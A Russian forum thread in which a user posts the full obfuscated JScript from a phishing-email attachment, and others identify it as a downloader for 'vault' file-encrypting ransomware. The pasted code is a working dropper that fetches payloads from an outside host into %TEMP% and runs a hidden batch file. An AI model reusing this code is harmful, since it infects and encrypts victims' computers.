|   |   | 
| 
 | Вопрос спецам по JS | ☑ | ||
|---|---|---|---|---|
| 0
    
        s-pc 17.03.15✎ 11:50 | 
        Пришло письмо на почту, типа от контрагента, типа "Мы поменяли счет", типа "Новые реквизиты в прикрепленном файле". В прикрепленном файле архив rar, а в архиве какой-то js файл. Ну, короче, типичный развод на тему "обязательно запустите у себя этот файл и будет вам сюрприз".
 Вот полный код этого js-файла. ============================= /////// ha2ZKqPLvmqT58ML8kHaM4rAkaF3ZZA5nQ6KyLc4kBCyd7wSZPZSw3MtkGvHHGhheHbv9UGD6wBTPvMsVNGCSmsdM5n2JFyhM3gVp8vcmCWW6Z2SG /////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm /////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v ///// var _$_b78e=["%TEMP%\x5C","%TEMP%\x5Cvault.bat","download-attachment","%TEMP%\x5Cerror.doc","WScript.Shell","ExpandEnvironmentStrings","Run","MSXML2.XMLHTTP","GET","open","send","Scripting.FileSystemObject","ADODB.Stream","Open","Type","ResponseBody","Write","Position","SaveToFile","Close","http://",".com/word.pdf","","error.doc",".com/403.vlt","403.vlt",".com/iconv.vlt","iconv.vlt",".com/index.vlt","index.vlt",".com/input.vlt","vault.bat"]; /////// ha2ZKqPLvmqT58ML8kHaM4rAkaF3ZZA5nQ6KyLc4kBCyd7wSZPZSw3MtkGvHHGhheHbv9UGD6wBTPvMsVNGCSmsdM5n2JFyhM3gVp8vcmCWW6Z2SG /////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm /////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v ///// var btcapp=_$_b78e[0];var sea=_$_b78e[1];var image=_$_b78e[2];var fingr=_$_b78e[3];var WshShell=CreateObject(_$_b78e[4]);btcapp=WshShell[_$_b78e[5]](btcapp); ////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm function CreateObject(a){return new ActiveXObject(a)}function lanka(sea){WshShell[_$_b78e[6]](sea,0,0)} /////// ha2ZKqPLvmqT58ML8kHaM4rAkaF3ZZA5nQ6KyLc4kBCyd7wSZPZSw3MtkGvHHGhheHbv9UGD6wBTPvMsVNGCSmsdM5n2JFyhM3gVp8vcmCWW6Z2SG /////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm ////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm /////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v ///// function oro(btcapp){WshShell[_$_b78e[6]](btcapp,1,0)} ///////// BKFXBaHTgpKgGNjNYF8yRJ3nTfNtT5uzHDFBqrHU6szehTrfX6YyQVfBNxMnBtRRbV9tJX63u ///////// function ddq(e,btcapp){var d= new ActiveXObject(_$_b78e[7]);d[_$_b78e[9]](_$_b78e[8],e,0);d[_$_b78e[10]]();var b= new ActiveXObject(_$_b78e[11]);var c= new ActiveXObject(_$_b78e[12]);c[_$_b78e[13]]();c[_$_b78e[14]]=1;c[_$_b78e[16]](d[_$_b78e[15]]);c[_$_b78e[17]]=0;c[_$_b78e[18]](btcapp,2);c[_$_b78e[19]]();}ddq(_$_b78e[20]+image+_$_b78e[21],_$_b78e[22]+btcapp+_$_b78e[23]);try{oro(_$_b78e[22]+fingr+_$_b78e[22])}catch(okay){};ddq(_$_b78e[20]+image+_$_b78e[24],_$_b78e[22]+btcapp+_$_b78e[25]);ddq(_$_b78e[20]+image+_$_b78e[26],_$_b78e[22]+btcapp+_$_b78e[27]); /////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm ////////////////// ddq(_$_b78e[20]+image+_$_b78e[28],_$_b78e[22]+btcapp+_$_b78e[29]);ddq(_$_b78e[20]+image+_$_b78e[30],_$_b78e[22]+btcapp+_$_b78e[31]); ////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm /////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v ///// lanka(_$_b78e[22]+sea+_$_b78e[22]); ////// v7xEmBPPwXeN8NmESTLbqBWaEuK2qXGA6XzNCe5Z635uxwPZk3ZDPtBWJjkLCL8RW8wWBtZDVJeXFfjHjrUwkHwGV5TUjDuV94AJWXRfsHu46zxKyRYt7V2kLfUEJDUMm /////// Mmf6tNBzRnpTFzhA8VCBC7PWX9TtcR3s2K3dsnHtWmrGmwLYzt64yWLPRbSndwZbdM9EehKBy76jqxHSVHdZAy6HmPSqZW4t4psCpBcZBJQChE7v ///// ============================= Подскажите, пожалуйста, хотя бы в общих чертах - чего этот файл хотел сделать с компьютером. Без подробностей - просто для удовлетворения любопытства. | |||
| 1
    
        Зеленый Кот 17.03.15✎ 11:56 | 
        запусти - узнаешь!     | |||
| 2
    
        Зеленый Кот 17.03.15✎ 11:57 | 
        xD
 зашифрован твой js! предположительно хотел создать файл vault.bat и запустить, почле чего твои фалы зашифровались бы... | |||
| 3
    
        ice777 17.03.15✎ 11:57 | 
        (0) в песочнице запусти.     | |||
| 4
    
        Гёдза 17.03.15✎ 11:58 | 
        что-то качает и запускает потом     | |||
| 5
    
        Зеленый Кот 17.03.15✎ 11:59 | 
        что-то подобное...
 Вирус изменил расширение на .vault [Trojan-Ransom.BAT.Scatter.ak ] Добрый день. Получил письмо, как из налоговой, открыл, после все доки ворд, эксель и картинки изменили расширение.vault. Возможно ли эти файлы восстановить? http://virusinfo.info/showthread.php?t=179340&s=0ddcbdd96e2fffe954c8c722c14b2b79 | 
| Форум | Правила | Описание | Объявления | Секции | Поиск | Книга знаний | Вики-миста |